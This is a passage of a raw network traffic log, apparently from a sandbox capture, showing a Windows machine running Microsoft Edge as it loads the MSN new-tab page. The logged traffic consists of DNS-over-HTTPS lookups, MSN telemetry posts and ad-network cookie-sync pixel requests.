2025-01-08 15:18:50 UTC	961	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 08 Jan 2025 15:18:50 GMT Location: /b2?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B924166339376392b7007c1736349530; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B924166339376392b7007c1736349530; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2d51d11855038b19cf7b6088ff68c84e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P4 X-Amz-Cf-Id: 6AxLSw3HrDybLThXGpk4BKQkm7xTu5J5KnfrJmyXnolzv7h3rjukKw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.11.20	53838	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 08 Jan 2025 15:18:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8fed2996c8d761bc-ORD alt-svc: h3=":443"; ma=86400
2025-01-08 15:18:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fa bf 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.11.20	54022	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 08 Jan 2025 15:18:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8fed2996ccd8f5ff-ORD alt-svc: h3=":443"; ma=86400
2025-01-08 15:18:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 ac d9 01 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.11.20	57630	149.112.112.112	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	183	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=140
2025-01-08 15:18:50 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 8c 00 04 ac d9 04 43 00 00 29 04 d0 00 00 00 00 00 00 Data Ascii: wwwgstaticcomC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.11.20	53899	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 08 Jan 2025 15:18:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8fed2996c8b7e852-ORD alt-svc: h3=":443"; ma=86400
2025-01-08 15:18:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 5b 00 04 8e fa bf c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom[)

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.11.20	64043	149.112.112.112	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	183	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=140
2025-01-08 15:18:50 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 8c 00 04 ac d9 04 43 00 00 29 04 d0 00 00 00 00 00 00 Data Ascii: wwwgstaticcomC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.11.20	53893	149.112.112.112	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-08 15:18:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-08 15:18:50 UTC	183	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=140
2025-01-08 15:18:50 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 8c 00 04 ac d9 04 43 00 00 29 04 d0 00 00 00 00 00 00 Data Ascii: wwwgstaticcomC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.11.20	60106	108.159.227.121	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:50 UTC	968	OUT	GET /b2?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1B924166339376392b7007c1736349530
2025-01-08 15:18:50 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 08 Jan 2025 15:18:50 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 46d923f609fb74f224fe100377b0ed10.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P4 X-Amz-Cf-Id: NnYbFcJEvpkuMgeO2gAJpkVlfSShMVgeoNZFDy2dlpZ_ZYMi_w5wCg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.11.20	58075	23.220.206.35	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	419	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.2709d817.1736349531.16332934 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	57694	52.178.17.233	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349529172&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3842 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
2025-01-08 15:18:51 UTC	3842	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 34 39 2e 31 34 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2025-01-08T15:18:49.145Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"locale
2025-01-08 15:18:51 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=286d012eecb64ac490d43606e5959a70&HASH=286d&LV=202501&V=4&LU=1736349531127; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:51 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7e38a06d1ec64a2990a82e91e1380701; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:51 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1955 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.11.20	57810	151.101.193.44	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	655	OUT	GET /sg/msn/1/cm?taboola_hm=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	591	IN	HTTP/1.1 200 OK Connection: close Server: nginx Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 423 Accept-Ranges: bytes Date: Wed, 08 Jan 2025 15:18:51 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-chi-kigq8000161-CHI X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1736349531.471987,VS0,VE3 X-vcl-time-ms: 3 transfer-encoding: chunked
2025-01-08 15:18:51 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2025-01-08 15:18:51 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2025-01-08 15:18:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-08 15:18:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.11.20	65171	50.31.142.31	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	664	OUT	GET /uidmappixel?ext_uid=37FD034F4FC568D43F2E16214E436968&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.outbrain.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	375	IN	HTTP/1.1 200 OK date: Wed, 08 Jan 2025 15:18:51 GMT content-length: 0 x-traceid: 0c292f15074d6b900609c52119b1705d set-cookie: obuid=ab1699d9-33b8-4979-8d25-f9a32670f4da; Max-Age=7776000; Expires=Tue, 08 Apr 2025 15:18:51 GMT; Path=/; Domain=.outbrain.com;SameSite=None;Secure strict-transport-security: max-age=31536000; includeSubDomains; preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.11.20	61434	20.125.209.212	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	1238	OUT	GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=99DEB9607E1443D08D3647A5D960D828&MUID=37FD034F4FC568D43F2E16214E436968 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; SM=T
2025-01-08 15:18:51 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=37FD034F4FC568D43F2E16214E436968; domain=.msn.com; expires=Mon, 02-Feb-2026 15:18:51 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=37FD034F4FC568D43F2E16214E436968; domain=c.msn.com; expires=Mon, 02-Feb-2026 15:18:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 15-Jan-2025 15:18:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 08-Jan-2025 15:28:51 GMT; path=/; SameSite=None; Secure; Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close Content-Length: 42
2025-01-08 15:18:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.11.20	54833	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	576	OUT	OPTIONS /auction HTTP/1.1 Host: srtb.msn.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: cache-control,content-type,x-ms-flightid,x-msedge-clientid,x-msedge-market Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	755	IN	HTTP/1.1 200 OK Vary: Origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: cache-control,content-type,x-ms-flightid,x-msedge-clientid,x-msedge-market Access-Control-Allow-Methods: POST Access-Control-Max-Age: 86400 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1E810FF4B4C444FF990EE6BDE15DBD1D Ref B: CHI30EDGE0217 Ref C: 2025-01-08T15:18:51Z Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.11.20	55045	23.62.140.29	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	661	OUT	GET /cksync.php?type=nms&cs=3&ovsid=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: hbx.media.net Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
